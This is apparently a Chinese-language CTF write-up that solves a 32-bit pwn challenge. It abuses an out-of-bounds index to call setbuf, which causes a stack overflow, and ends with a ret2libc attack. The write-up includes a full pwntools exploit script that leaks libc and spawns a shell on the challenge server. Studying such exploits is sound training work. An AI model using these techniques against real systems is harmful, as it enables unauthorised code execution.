看学弟在群里提到刷题过程中遇到了一道setbuf缓冲区,且是一道签退题,就想到了该题,于是就打算写一下。

分析

一道32位题目,开启了NX保护与Partial RELRO,接着放入ida中进行分析。

先是设置缓冲区,将标准输入与标准输出都设置为无缓冲,然后进入vuln函数。

是一道菜单题目,有add、delete、post三个功能。通过大致的分析可以知道此题主要的关键变量为letters,其位于栈上1328字节长的一段内存。接着再分别仔细分析三个关键函数

add函数

通过ida静态分析可以知道,最多能创建5个letter,每个letter占0x108个字节长的内存空间,前4个字节长的空间存放是否被使用的标识即0或1,紧挨着4个字节长的空间存放输入的contents的长度,再接着才是存放输入的contents的具体内容。我们可以用gdb进行调试一下:

可以看到,在输入contents后,栈上的数据和上述分析的一样。

delete函数

用户需要输入正确的ID,接着分别将选择的letter的标识、长度以及contents清空,其实就是一个简单的删除功能,看起来没什么问题。

post函数

这个函数传入了两个参数,一个是存放letter的内存空间,一个是文件fd,而这个就是/dev/null。在该函数的功能方面依旧是需要选择正确的id,再选择filter,通过选择不同的filter对letter进行操作,这里需要传入三个参数:fd、letter的contents以及contents的长度。

题解

通过上述分析,本题限制了输入字节长度,正常情况下是无法造成溢出的。在post函数中存在一个数组越界漏洞,即我们输入的n2可以为负数,那么我们输入负数就可以访问到got表上的内容,并将其作为一个函数调用

但是有一个问题在于,函数的调用需要传入FILE *、char *与int这三个参数,同时该函数还能用来进行攻击。因此本题最精彩的一点就是得用setbuf函数来进行攻击,使用setbuf函数将buf与fd绑定,再多次向fd中写入数据从而就可以造成溢出了。通过分析,第五个letter造成溢出至少要0x108+4个字节,而每一个letter可以输入0x100个字节,因此我们只需要构造第一个和第二个letter,再post到第五个letter从而造成溢出即可。

ok,那么我们先add所需letter,至于为什么构造payload2的时候是0xD而不是0xC,是因为在动调的过程中发现实际上payload1的长度为0xFF个字节,并不是0x100个字节,所以在构造payload2的时候需要多输入一个字节。

payload1=b"a"*0x100
payload2=b"a"*0xD+p32(puts_plt)+p32(vuln)+p32(puts_got)
payload3=b"aaaa"
payload4=b"aaaa"
payload5=b"aaaa"

add(payload1)
add(payload2)
add(payload3)
add(payload4)
add(payload5)

接着再setbuf将fd与letter5绑定

setbuf_index=int((setbuf_addr-func_addr)/4)
post(4,setbuf_index)
post(0,0)
post(1,0)
quit()

选择0时,就是将构造的letter里面的数据写入到文件中,由于我们将文件与letter5绑定到了一起,因此就相当于往letter5里面写入数据从而造成溢出。后面就是借鉴前面思路的打ret2libc了。

exp

from pwn import*
context(arch='i386', os='linux',terminal=['tmux', 'splitw', '-h'])
pwn_file='./signout'
libc_file='./libc.so'
elf=ELF(pwn_file)
libc=ELF(libc_file)

flag=0
if flag:
io=process(pwn_file)
else:
ip='pwn.challenge.ctf.show'
port=28233
io=remote(ip,port)

s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)

def debug():
gdb.attach(io)

def add(contents):
sl(b"1")
sl(contents)

def delete(id):
sl(b"2")
sl(str(id))

def post(id,choose):
sl(b"3")
sl(str(id))
sl(str(choose))

def quit():
sl(b"4")

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
vuln=0x08048BD0

payload1=b"a"*0x100
payload2=b"a"*0xD+p32(puts_plt)+p32(vuln)+p32(puts_got)
payload3=b"aaaa"
payload4=b"aaaa"
payload5=b"aaaa"

add(payload1)
add(payload2)
add(payload3)
add(payload4)
add(payload5)

setbuf_addr=0x0804B00C
func_addr=0x0804B048

#debug()
setbuf_index=int((setbuf_addr-func_addr)/4)
post(4,setbuf_index)
post(0,0)
post(1,0)
quit()

puts=uul32()
print(hex(puts))
libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh\x00'))

payload6=b"a"*0xD+p32(system)+p32(vuln)+p32(bin_sh)

add(payload1)
add(payload6)
add(payload3)
add(payload4)
add(payload5)

setbuf_index=int((setbuf_addr-func_addr)/4)
post(4,setbuf_index)
post(0,0)
post(1,0)
quit()

io.interactive()

总结

总的来说还是一道不错的题目,不是常规的ret2libc题目,但还是挺简单的。该题先通过数组越界调用setbuf函数,再利用setbuf函数将输入输出流和缓冲区数据同步,多次写入打栈溢出从而打ret2libc。